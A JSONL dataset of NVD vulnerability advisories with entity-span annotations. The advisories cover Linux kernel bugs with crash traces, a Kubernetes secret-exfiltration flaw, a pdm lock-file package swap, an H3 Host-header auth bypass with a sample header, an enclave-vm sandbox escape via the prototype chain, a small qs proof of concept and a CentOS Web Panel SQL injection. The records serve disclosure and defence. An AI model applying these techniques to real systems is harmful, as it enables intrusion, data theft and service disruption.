{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm/dp: add atomic_check to bridge ops\n\nDRM commit_tails() will disable downstream crtc/encoder/bridge if\nboth disable crtc is required and crtc->active is set before pushing\na new frame downstream.\n\nThere is a rare case that user space display manager issue an extra\nscreen update immediately followed by close DRM device while down\nstream display interface is disabled. This extra screen update will\ntimeout due to the downstream interface is disabled but will cause\ncrtc->active be set. Hence the followed commit_tails() called by\ndrm_release() will pass the disable downstream crtc/encoder/bridge\nconditions checking even downstream interface is disabled.\nThis cause the crash to happen at dp_bridge_disable() due to it trying\nto access the main link register to push the idle pattern out while main\nlink clocks is disabled.\n\nThis patch adds atomic_check to prevent the extra frame will not\nbe pushed down if display interface is down so that crtc->active\nwill not be set neither. This will fail the conditions checking\nof disabling down stream crtc/encoder/bridge which prevent\ndrm_release() from calling dp_bridge_disable() so that crash\nat dp_bridge_disable() prevented.\n\nThere is no protection in the DRM framework to check if the display\npipeline has been already disabled before trying again. The only\ncheck is the crtc_state->active but this is controlled by usermode\nusing UAPI. Hence if the usermode sets this and then crashes, the\ndriver needs to protect against double disable.\n\nSError Interrupt on CPU7, code 0x00000000be000411 -- SError\nCPU: 7 PID: 3878 Comm: Xorg Not tainted 5.19.0-stb-cbq #19\nHardware name: Google Lazor (rev3 - 8) (DT)\npstate: a04000c9 (NzCv daIF +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : __cmpxchg_case_acq_32+0x14/0x2c\nlr : do_raw_spin_lock+0xa4/0xdc\nsp : ffffffc01092b6a0\nx29: ffffffc01092b6a0 x28: 0000000000000028 x27: 0000000000000038\nx26: 0000000000000004 x25: ffffffd2973dce48 x24: 0000000000000000\nx23: 00000000ffffffff x22: 00000000ffffffff x21: ffffffd2978d0008\nx20: ffffffd2978d0008 x19: ffffff80ff759fc0 x18: 0000000000000000\nx17: 004800a501260460 x16: 0441043b04600438 x15: 04380000089807d0\nx14: 07b0089807800780 x13: 0000000000000000 x12: 0000000000000000\nx11: 0000000000000438 x10: 00000000000007d0 x9 : ffffffd2973e09e4\nx8 : ffffff8092d53300 x7 : ffffff808902e8b8 x6 : 0000000000000001\nx5 : ffffff808902e880 x4 : 0000000000000000 x3 : ffffff80ff759fc0\nx2 : 0000000000000001 x1 : 0000000000000000 x0 : ffffff80ff759fc0\nKernel panic - not syncing: Asynchronous SError Interrupt\nCPU: 7 PID: 3878 Comm: Xorg Not tainted 5.19.0-stb-cbq #19\nHardware name: Google Lazor (rev3 - 8) (DT)\nCall trace:\n dump_backtrace.part.0+0xbc/0xe4\n show_stack+0x24/0x70\n dump_stack_lvl+0x68/0x84\n dump_stack+0x18/0x34\n panic+0x14c/0x32c\n nmi_panic+0x58/0x7c\n arm64_serror_panic+0x78/0x84\n do_serror+0x40/0x64\n el1h_64_error_handler+0x30/0x48\n el1h_64_error+0x68/0x6c\n __cmpxchg_case_acq_32+0x14/0x2c\n _raw_spin_lock_irqsave+0x38/0x4c\n lock_timer_base+0x40/0x78\n __mod_timer+0xf4/0x25c\n schedule_timeout+0xd4/0xfc\n __wait_for_common+0xac/0x140\n wait_for_completion_timeout+0x2c/0x54\n dp_ctrl_push_idle+0x40/0x88\n dp_bridge_disable+0x24/0x30\n drm_atomic_bridge_chain_disable+0x90/0xbc\n drm_atomic_helper_commit_modeset_disables+0x198/0x444\n msm_atomic_commit_tail+0x1d0/0x374\n commit_tail+0x80/0x108\n drm_atomic_helper_commit+0x118/0x11c\n drm_atomic_commit+0xb4/0xe0\n drm_client_modeset_commit_atomic+0x184/0x224\n drm_client_modeset_commit_locked+0x58/0x160\n drm_client_modeset_commit+0x3c/0x64\n __drm_fb_helper_restore_fbdev_mode_unlocked+0x98/0xac\n drm_fb_helper_set_par+0x74/0x80\n drm_fb_helper_hotplug_event+0xdc/0xe0\n __drm_fb_helper_restore_fbdev_mode_unlocked+0x7c/0xac\n drm_fb_helper_restore_fbdev_mode_unlocked+0x20/0x2c\n drm_fb_helper_lastclose+0x20/0x2c\n drm_lastclose+0x44/0x6c\n drm_release+0x88/0xd4\n __fput+0x104/0x220\n ____fput+0x1c/0x28\n task_work_run+0x8c/0x100\n d\n---truncated---", "spans": {"FILEPATH: /msm/dp": [[72, 79]], "FILEPATH: /encoder/bridge": [[160, 175], [658, 673], [1126, 1141]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1701, 1707], [2677, 2683]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50398"}}
{"text": "Aiven Operator allows you to provision and manage Aiven Services from your Kubernetes cluster. From 0.31.0 to before 0.37.0, a developer with create permission on ClickhouseUser CRDs in their own namespace can exfiltrate secrets from any other namespace — production database credentials, API keys, service tokens — with a single kubectl apply. The operator reads the victim's secret using its ClusterRole and writes the password into a new secret in the attacker's namespace. The operator acts as a confused deputy: its ServiceAccount has cluster-wide secret read/write (aiven-operator-role ClusterRole), and it trusts user-supplied namespace values in spec.connInfoSecretSource.namespace without validation. No admission webhook enforces this boundary — the ServiceUser webhook returns nil, and no ClickhouseUser webhook exists. This vulnerability is fixed in 0.37.0.", "spans": {"SYSTEM: Kubernetes": [[75, 85]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-39961"}}
{"text": "pdm is a Python package and dependency manager supporting the latest PEP standards. It's possible to craft a malicious `pdm.lock` file that could allow e.g. an insider or a malicious open source project to appear to depend on a trusted PyPI project, but actually install another project. A project `foo` can be targeted by creating the project `foo-2` and uploading the file `foo-2-2.tar.gz` to pypi.org. PyPI will see this as project `foo-2` version `2`, while PDM will see this as project `foo` version `2-2`. The version must only be `parseable as a version` and the filename must be a prefix of the project name, but it's not verified to match the version being installed. Version `2-2` is also not a valid normalized version per PEP 440. Matching the project name exactly (not just prefix) would fix the issue. When installing dependencies with PDM, what's actually installed could differ from what's listed in `pyproject.toml` (including arbitrary code execution on install). It could also be used for downgrade attacks by only changing the version. This issue has been addressed in commit `6853e2642df` which is included in release version `2.9.4`. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"DOMAIN: pypi.org": [[395, 403]], "SYSTEM: Python": [[9, 15]], "ORGANIZATION: PyPI": [[236, 240], [405, 409]], "VULNERABILITY: code execution": [[954, 968]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-45805"}}
{"text": "A program using swift-nio-http2 is vulnerable to a denial of service attack, caused by a network peer sending a specially crafted HPACK-encoded header block. This attack affects all swift-nio-http2 versions from 1.0.0 to 1.19.1. There are a number of implementation errors in the parsing of HPACK-encoded header blocks that allow maliciously crafted HPACK header blocks to cause crashes in processes using swift-nio-http2. Each of these crashes is triggered instead of an integer overflow. A malicious HPACK header block could be sent on any of the HPACK-carrying frames in a HTTP/2 connection (HEADERS and PUSH_PROMISE), at any position. Sending a HPACK header block does not require any special permission, so any HTTP/2 connection peer may send one. For clients, this means any server to which they connect may launch this attack. For servers, anyone they allow to connect to them may launch such an attack. The attack is low-effort: it takes very little resources to send an appropriately crafted field block. The impact on availability is high: receiving a frame carrying this field block immediately crashes the server, dropping all in-flight connections and causing the service to need to restart. It is straightforward for an attacker to repeatedly send appropriately crafted field blocks, so attackers require very few resources to achieve a substantial denial of service. The attack does not have any confidentiality or integrity risks in and of itself: swift-nio-http2 is parsing the field block in memory-safe code and the crash is triggered instead of an integer overflow. However, sudden process crashes can lead to violations of invariants in services, so it is possible that this attack can be used to trigger an error condition that has confidentiality or integrity risks. The risk can be mitigated if untrusted peers can be prevented from communicating with the service. This mitigation is not available to many services. The issue is fixed by rewriting the parsing code to correctly handle all conditions in the function. The principal issue was found by automated fuzzing by oss-fuzz, but several associated bugs in the same code were found by code audit and fixed at the same time", "spans": {"VULNERABILITY: denial of service": [[51, 68], [1363, 1380]], "VULNERABILITY: integer overflow": [[472, 488], [1568, 1584]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-24667"}}
{"text": "Incorrect Default Permissions vulnerability in Hitachi Automation Director on Linux, Hitachi Infrastructure Analytics Advisor on Linux (Hitachi Infrastructure Analytics Advisor, Analytics probe server components), Hitachi Ops Center Automator on Linux, Hitachi Ops Center Analyzer on Linux (Hitachi Ops Center Analyzer, Analyzer probe server components), Hitachi Ops Center Viewpoint on Linux (Viewpoint RAID Agent component) allows local users to read and write specific files.\n\nThis issue affects Hitachi Automation Director: \n\nfrom 8.2.0-00 through 10.6.1-00; Hitachi Infrastructure Analytics Advisor: from 2.0.0-00 through 4.0.0-00; Hitachi Ops Center Automator: before 10.9.1-00; Hitachi Ops Center Analyzer: before 10.9.1-00; Hitachi Ops Center Viewpoint: before 10.9.1-00.", "spans": {"SYSTEM: Linux": [[78, 83], [129, 134], [246, 251], [284, 289], [387, 392]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36652"}}
{"text": "Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.7.0, there is a critical sandbox escape vulnerability in enclave-vm that allows untrusted, sandboxed JavaScript code to execute arbitrary code in the host Node.js runtime. When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor. An attacker can intentionally trigger a host error, then climb the prototype chain. Using the host Function constructor, arbitrary JavaScript can be compiled and executed in the host context, fully bypassing the sandbox and granting access to sensitive resources such as process.env, filesystem, and network. This breaks enclave-vm’s core security guarantee of isolating untrusted code. This vulnerability is fixed in 2.7.0.", "spans": {"FILEPATH: Node.js": [[248, 255]], "VULNERABILITY: code execution": [[66, 80]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22686"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: dwc3: Fix race condition between concurrent dwc3_remove_requests() call paths\n\nThis patch addresses a race condition caused by unsynchronized\nexecution of multiple call paths invoking `dwc3_remove_requests()`,\nleading to premature freeing of USB requests and subsequent crashes.\n\nThree distinct execution paths interact with `dwc3_remove_requests()`:\nPath 1:\nTriggered via `dwc3_gadget_reset_interrupt()` during USB reset\nhandling. The call stack includes:\n- `dwc3_ep0_reset_state()`\n- `dwc3_ep0_stall_and_restart()`\n- `dwc3_ep0_out_start()`\n- `dwc3_remove_requests()`\n- `dwc3_gadget_del_and_unmap_request()`\n\nPath 2:\nAlso initiated from `dwc3_gadget_reset_interrupt()`, but through\n`dwc3_stop_active_transfers()`. The call stack includes:\n- `dwc3_stop_active_transfers()`\n- `dwc3_remove_requests()`\n- `dwc3_gadget_del_and_unmap_request()`\n\nPath 3:\nOccurs independently during `adb root` execution, which triggers\nUSB function unbind and bind operations. The sequence includes:\n- `gserial_disconnect()`\n- `usb_ep_disable()`\n- `dwc3_gadget_ep_disable()`\n- `dwc3_remove_requests()` with `-ESHUTDOWN` status\n\nPath 3 operates asynchronously and lacks synchronization with Paths\n1 and 2. When Path 3 completes, it disables endpoints and frees 'out'\nrequests. If Paths 1 or 2 are still processing these requests,\naccessing freed memory leads to a crash due to use-after-free conditions.\n\nTo fix this added check for request completion and skip processing\nif already completed and added the request status for ep0 while queue.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[1428, 1442]], "VULNERABILITY: race condition": [[84, 98], [176, 190]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68287"}}
{"text": "The imgcrypt library provides API exensions for containerd to support encrypted container images and implements the ctd-decoder command line tool for use by containerd to decrypt encrypted container images. The imgcrypt function `CheckAuthorization` is supposed to check whether the current used is authorized to access an encrypted image and prevent the user from running an image that another user previously decrypted on the same system. In versions prior to 1.1.4, a failure occurs when an image with a ManifestList is used and the architecture of the local host is not the first one in the ManifestList. Only the first architecture in the list was tested, which may not have its layers available locally since it could not be run on the host architecture. Therefore, the verdict on unavailable layers was that the image could be run anticipating that image run failure would occur later due to the layers not being available. However, this verdict to allow the image to run enabled other architectures in the ManifestList to run an image without providing keys if that image had previously been decrypted. A patch has been applied to imgcrypt 1.1.4. Workarounds may include usage of different namespaces for each remote user.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-24778"}}
{"text": "Hiredis is a minimalistic C client library for the Redis database. In affected versions Hiredis is vulnurable to integer overflow if provided maliciously crafted or corrupted `RESP` `mult-bulk` protocol data. When parsing `multi-bulk` (array-like) replies, hiredis fails to check if `count * sizeof(redisReply*)` can be represented in `SIZE_MAX`. If it can not, and the `calloc()` call doesn't itself make this check, it would result in a short allocation and subsequent buffer overflow. Users of hiredis who are unable to update may set the [maxelements](https://github.com/redis/hiredis#reader-max-array-elements) context option to a value small enough that no overflow is possible.", "spans": {"URL: https://github.com/redis/hiredis#reader-max-array-elements": [[556, 614]], "SYSTEM: Redis": [[51, 56]], "VULNERABILITY: integer overflow": [[113, 129]], "VULNERABILITY: buffer overflow": [[471, 486]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32765"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: sr: fix out-of-bounds read when setting HMAC data.\n\nThe SRv6 layer allows defining HMAC data that can later be used to sign IPv6\nSegment Routing Headers. This configuration is realised via netlink through\nfour attributes: SEG6_ATTR_HMACKEYID, SEG6_ATTR_SECRET, SEG6_ATTR_SECRETLEN and\nSEG6_ATTR_ALGID. Because the SECRETLEN attribute is decoupled from the actual\nlength of the SECRET attribute, it is possible to provide invalid combinations\n(e.g., secret = \"\", secretlen = 64). This case is not checked in the code and\nwith an appropriately crafted netlink message, an out-of-bounds read of up\nto 64 bytes (max secret length) can occur past the skb end pointer and into\nskb_shared_info:\n\nBreakpoint 1, seg6_genl_sethmac (skb=<optimized out>, info=<optimized out>) at net/ipv6/seg6.c:208\n208\t\tmemcpy(hinfo->secret, secret, slen);\n(gdb) bt\n #0  seg6_genl_sethmac (skb=<optimized out>, info=<optimized out>) at net/ipv6/seg6.c:208\n #1  0xffffffff81e012e9 in genl_family_rcv_msg_doit (skb=skb@entry=0xffff88800b1f9f00, nlh=nlh@entry=0xffff88800b1b7600,\n    extack=extack@entry=0xffffc90000ba7af0, ops=ops@entry=0xffffc90000ba7a80, hdrlen=4, net=0xffffffff84237580 <init_net>, family=<optimized out>,\n    family=<optimized out>) at net/netlink/genetlink.c:731\n #2  0xffffffff81e01435 in genl_family_rcv_msg (extack=0xffffc90000ba7af0, nlh=0xffff88800b1b7600, skb=0xffff88800b1f9f00,\n    family=0xffffffff82fef6c0 <seg6_genl_family>) at net/netlink/genetlink.c:775\n #3  genl_rcv_msg (skb=0xffff88800b1f9f00, nlh=0xffff88800b1b7600, extack=0xffffc90000ba7af0) at net/netlink/genetlink.c:792\n #4  0xffffffff81dfffc3 in netlink_rcv_skb (skb=skb@entry=0xffff88800b1f9f00, cb=cb@entry=0xffffffff81e01350 <genl_rcv_msg>)\n    at net/netlink/af_netlink.c:2501\n #5  0xffffffff81e00919 in genl_rcv (skb=0xffff88800b1f9f00) at net/netlink/genetlink.c:803\n #6  0xffffffff81dff6ae in netlink_unicast_kernel (ssk=0xffff888010eec800, skb=0xffff88800b1f9f00, sk=0xffff888004aed000)\n    at net/netlink/af_netlink.c:1319\n #7  netlink_unicast (ssk=ssk@entry=0xffff888010eec800, skb=skb@entry=0xffff88800b1f9f00, portid=portid@entry=0, nonblock=<optimized out>)\n    at net/netlink/af_netlink.c:1345\n #8  0xffffffff81dff9a4 in netlink_sendmsg (sock=<optimized out>, msg=0xffffc90000ba7e48, len=<optimized out>) at net/netlink/af_netlink.c:1921\n...\n(gdb) p/x ((struct sk_buff *)0xffff88800b1f9f00)->head + ((struct sk_buff *)0xffff88800b1f9f00)->end\n$1 = 0xffff88800b1b76c0\n(gdb) p/x secret\n$2 = 0xffff88800b1b76c0\n(gdb) p slen\n$3 = 64 '@'\n\nThe OOB data can then be read back from userspace by dumping HMAC state. This\ncommit fixes this by ensuring SECRETLEN cannot exceed the actual length of\nSECRET.", "spans": {"FILEPATH: /ipv6/seg6.c": [[846, 858], [987, 999]], "FILEPATH: /netlink/genetlink.c": [[1306, 1326], [1510, 1530], [1635, 1655], [1889, 1909]], "FILEPATH: /netlink/af_netlink.c": [[1795, 1816], [2046, 2067], [2222, 2243], [2366, 2387]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: out-of-bounds read": [[83, 101], [645, 663]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48687"}}
{"text": "H3 is a minimal H(TTP) framework. Versions 2.0.0-0 through 2.0.1-rc.14 contain a Host header spoofing vulnerability in the NodeRequestUrl (which extends FastURL) which allows middleware bypass. When event.url, event.url.hostname, or event.url._url is accessed, such as in a logging middleware, the _url getter constructs a URL from untrusted data, including the user-controlled Host header. Because H3's router resolves the route handler before middleware runs, an attacker can supply a crafted Host header (e.g., Host: localhost:3000/abchehe?) to make the middleware path check fail while the route handler still matches, effectively bypassing authentication or authorization middleware. This affects any application built on H3 (including Nitro/Nuxt) that accesses event.url properties in middleware guarding sensitive routes. The issue requires an immediate fix to prevent FastURL.href from being constructed with unsanitized, attacker-controlled input. Version 2.0.1-rc.15 contains a patch for this issue.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33131"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRevert \"ALSA: firewire-lib: operate for period elapse event in process context\"\n\nCommit 7ba5ca32fe6e (\"ALSA: firewire-lib: operate for period elapse event\nin process context\") removed the process context workqueue from\namdtp_domain_stream_pcm_pointer() and update_pcm_pointers() to remove\nits overhead.\n\nWith RME Fireface 800, this lead to a regression since\nKernels 5.14.0, causing an AB/BA deadlock competition for the\nsubstream lock with eventual system freeze under ALSA operation:\n\nthread 0:\n    * (lock A) acquire substream lock by\n\tsnd_pcm_stream_lock_irq() in\n\tsnd_pcm_status64()\n    * (lock B) wait for tasklet to finish by calling\n    \ttasklet_unlock_spin_wait() in\n\ttasklet_disable_in_atomic() in\n\tohci_flush_iso_completions() of ohci.c\n\nthread 1:\n    * (lock B) enter tasklet\n    * (lock A) attempt to acquire substream lock,\n    \twaiting for it to be released:\n\tsnd_pcm_stream_lock_irqsave() in\n    \tsnd_pcm_period_elapsed() in\n\tupdate_pcm_pointers() in\n\tprocess_ctx_payloads() in\n\tprocess_rx_packets() of amdtp-stream.c\n\n? tasklet_unlock_spin_wait\n </NMI>\n <TASK>\nohci_flush_iso_completions firewire_ohci\namdtp_domain_stream_pcm_pointer snd_firewire_lib\nsnd_pcm_update_hw_ptr0 snd_pcm\nsnd_pcm_status64 snd_pcm\n\n? native_queued_spin_lock_slowpath\n </NMI>\n <IRQ>\n_raw_spin_lock_irqsave\nsnd_pcm_period_elapsed snd_pcm\nprocess_rx_packets snd_firewire_lib\nirq_target_callback snd_firewire_lib\nhandle_it_packet firewire_ohci\ncontext_tasklet firewire_ohci\n\nRestore the process context work queue to prevent deadlock\nAB/BA deadlock competition for ALSA substream lock of\nsnd_pcm_stream_lock_irq() in snd_pcm_status64()\nand snd_pcm_stream_lock_irqsave() in snd_pcm_period_elapsed().\n\nrevert commit 7ba5ca32fe6e (\"ALSA: firewire-lib: operate for period\nelapse event in process context\")\n\nReplace inline description to prevent future deadlock.", "spans": {"FILEPATH: ohci.c": [[810, 816]], "FILEPATH: stream.c": [[1094, 1102]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42274"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix race setting file private on concurrent lseek using same fd\n\nWhen doing concurrent lseek(2) system calls against the same file\ndescriptor, using multiple threads belonging to the same process, we have\na short time window where a race happens and can result in a memory leak.\n\nThe race happens like this:\n\n1) A program opens a file descriptor for a file and then spawns two\n   threads (with the pthreads library for example), lets call them\n   task A and task B;\n\n2) Task A calls lseek with SEEK_DATA or SEEK_HOLE and ends up at\n   file.c:find_desired_extent() while holding a read lock on the inode;\n\n3) At the start of find_desired_extent(), it extracts the file's\n   private_data pointer into a local variable named 'private', which has\n   a value of NULL;\n\n4) Task B also calls lseek with SEEK_DATA or SEEK_HOLE, locks the inode\n   in shared mode and enters file.c:find_desired_extent(), where it also\n   extracts file->private_data into its local variable 'private', which\n   has a NULL value;\n\n5) Because it saw a NULL file private, task A allocates a private\n   structure and assigns to the file structure;\n\n6) Task B also saw a NULL file private so it also allocates its own file\n   private and then assigns it to the same file structure, since both\n   tasks are using the same file descriptor.\n\n   At this point we leak the private structure allocated by task A.\n\nBesides the memory leak, there's also the detail that both tasks end up\nusing the same cached state record in the private structure (struct\nbtrfs_file_private::llseek_cached_state), which can result in a\nuse-after-free problem since one task can free it while the other is\nstill using it (only one task took a reference count on it). Also, sharing\nthe cached state is not a good idea since it could result in incorrect\nresults in the future - right now it should not be a problem because it\nend ups being used only in extent-io-tree.c:count_range_bits() where we do\nrange validation before using the cached state.\n\nFix this by protecting the private assignment and check of a file while\nholding the inode's spinlock and keep track of the task that allocated\nthe private, so that it's used only by that task in order to prevent\nuser-after-free issues with the cached state record as well as potentially\nusing it incorrectly in the future.", "spans": {"FILEPATH: file.c": [[611, 617], [941, 947]], "FILEPATH: tree.c": [[1980, 1986]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[1656, 1670]], "VULNERABILITY: memory leak": [[342, 353], [1464, 1475]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47741"}}
{"text": "Vulnerability in the Oracle Cloud Infrastructure Storage Gateway product of Oracle Storage Gateway (component: Management Console). The supported version that is affected is Prior to 1.4. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Cloud Infrastructure Storage Gateway. While the vulnerability is in Oracle Cloud Infrastructure Storage Gateway, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Cloud Infrastructure Storage Gateway. Note: Updating the Oracle Cloud Infrastructure Storage Gateway to version 1.4 or later will address these vulnerabilities. Download the latest version of Oracle Cloud Infrastructure Storage Gateway from <a href=\" https://www.oracle.com/downloads/cloud/oci-storage-gateway-downloads.html\">here. Refer to Document <a href=\"https://support.oracle.com/rs?type=doc&id=2768897.1\">2768897.1 for more details. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).", "spans": {"URL: https://www.oracle.com/downloads/cloud/oci-storage-gateway-downloads.html": [[795, 868]], "URL: https://support.oracle.com/rs?type=doc&id=2768897.1": [[903, 954]], "ORGANIZATION: Oracle": [[21, 27], [76, 82], [296, 302], [371, 377], [537, 543], [601, 607], [736, 742]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2319"}}
{"text": "Openfire is an XMPP server licensed under the Open Source Apache License. Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users. This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0. The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the yet-to-be released first version on the 4.8 branch (which is expected to be version 4.8.0). Users are advised to upgrade. If an Openfire upgrade isn’t available for a specific release, or isn’t quickly actionable, users may see the linked github advisory (GHSA-gw42-f939-fhvm) for mitigation advice.", "spans": {"ORGANIZATION: Apache": [[58, 64]], "VULNERABILITY: path traversal": [[166, 180]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-32315"}}
{"text": "LedgerSMB does not set the 'Secure' attribute on the session authorization cookie when the client uses HTTPS and the LedgerSMB server is behind a reverse proxy. By tricking a user to use an unencrypted connection (HTTP), an attacker may be able to obtain the authentication data by capturing network traffic. LedgerSMB 1.8 and newer switched from Basic authentication to using cookie authentication with encrypted cookies. Although an attacker can't access the information inside the cookie, nor the password of the user, possession of the cookie is enough to access the application as the user from which the cookie has been obtained. In order for the attacker to obtain the cookie, first of all the server must be configured to respond to unencrypted requests, the attacker must be suitably positioned to eavesdrop on the network traffic between the client and the server *and* the user must be tricked into using unencrypted HTTP traffic. Proper audit control and separation of duties limit Integrity impact of the attack vector. Users of LedgerSMB 1.8 are urged to upgrade to known-fixed versions. Users of LedgerSMB 1.7 or 1.9 are unaffected by this vulnerability and don't need to take action. As a workaround, users may configure their Apache or Nginx reverse proxy to add the Secure attribute at the network boundary instead of relying on LedgerSMB. For Apache, please refer to the 'Header always edit' configuration command in the mod_headers module. For Nginx, please refer to the 'proxy_cookie_flags' configuration command.", "spans": {"ORGANIZATION: Apache": [[1243, 1249], [1362, 1368]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-3882"}}
{"text": "Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1.\n\n\nSummary\n\nThe arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations.\n\nNote: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=valueconsumes one parameter slot. The severity has been reduced accordingly.\n\nDetails\n\nThe arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2).\n\nVulnerable code (lib/parse.js:159-162):\n\nif (root === '[]' && options.parseArrays) {\n    obj = utils.combine([], leaf);  // No arrayLimit check\n}\n\n\n\n\n\nWorking code (lib/parse.js:175):\n\nelse if (index <= options.arrayLimit) {  // Limit checked here\n    obj = [];\n    obj[index] = leaf;\n}\n\n\n\n\n\nThe bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.\n\n\n\nPoC\n\nconst qs = require('qs');\nconst result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });\nconsole.log(result.a.length);  // Output: 6 (should be max 5)\n\n\n\n\n\nNote on parameterLimit interaction: The original advisory's \"DoS demonstration\" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000.\n\nImpact\n\nConsistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.", "spans": {"FILEPATH: parse.js": [[815, 823], [963, 971]], "FILEPATH: console.log": [[1414, 1425]], "VULNERABILITY: Improper Input Validation": [[0, 25]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-15284"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nethtool: Avoid overflowing userspace buffer on stats query\n\nThe ethtool -S command operates across three ioctl calls:\nETHTOOL_GSSET_INFO for the size, ETHTOOL_GSTRINGS for the names, and\nETHTOOL_GSTATS for the values.\n\nIf the number of stats changes between these calls (e.g., due to device\nreconfiguration), userspace's buffer allocation will be incorrect,\npotentially leading to buffer overflow.\n\nDrivers are generally expected to maintain stable stat counts, but some\ndrivers (e.g., mlx5, bnx2x, bna, ksz884x) use dynamic counters, making\nthis scenario possible.\n\nSome drivers try to handle this internally:\n- bnad_get_ethtool_stats() returns early in case stats.n_stats is not\n  equal to the driver's stats count.\n- micrel/ksz884x also makes sure not to write anything beyond\n  stats.n_stats and overflow the buffer.\n\nHowever, both use stats.n_stats which is already assigned with the value\nreturned from get_sset_count(), hence won't solve the issue described\nhere.\n\nChange ethtool_get_strings(), ethtool_get_stats(),\nethtool_get_phy_stats() to not return anything in case of a mismatch\nbetween userspace's size and get_sset_size(), to prevent buffer\noverflow.\nThe returned n_stats value will be equal to zero, to reflect that\nnothing has been returned.\n\nThis could result in one of two cases when using upstream ethtool,\ndepending on when the size change is detected:\n1. When detected in ethtool_get_strings():\n    # ethtool -S eth2\n    no stats available\n\n2. When detected in get stats, all stats will be reported as zero.\n\nBoth cases are presumably transient, and a subsequent ethtool call\nshould succeed.\n\nOther than the overflow avoidance, these two cases are very evident (no\noutput/cleared stats), which is arguably better than presenting\nincorrect/shifted stats.\nI also considered returning an error instead of a \"silent\" response, but\nthat seems more destructive towards userspace apps.\n\nNotes:\n- This patch does not claim to fix the inherent race, it only makes sure\n  that we do not overflow the userspace buffer, and makes for a more\n  predictable behavior.\n\n- RTNL lock is held during each ioctl, the race window exists between\n  the separate ioctl calls when the lock is released.\n\n- Userspace ethtool always fills stats.n_stats, but it is likely that\n  these stats ioctls are implemented in other userspace applications\n  which might not fill it. The added code checks that it's not zero,\n  to prevent any regressions.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: buffer overflow": [[450, 465]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68795"}}
{"text": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_list_accounts.php. When parsing the id parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose information in the context of root. Was ZDI-CAN-9741.", "spans": {"IP_ADDRESS: 0.9.8.923": [[131, 140]], "FILEPATH: ajax_list_accounts.php": [[236, 258]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15620"}}
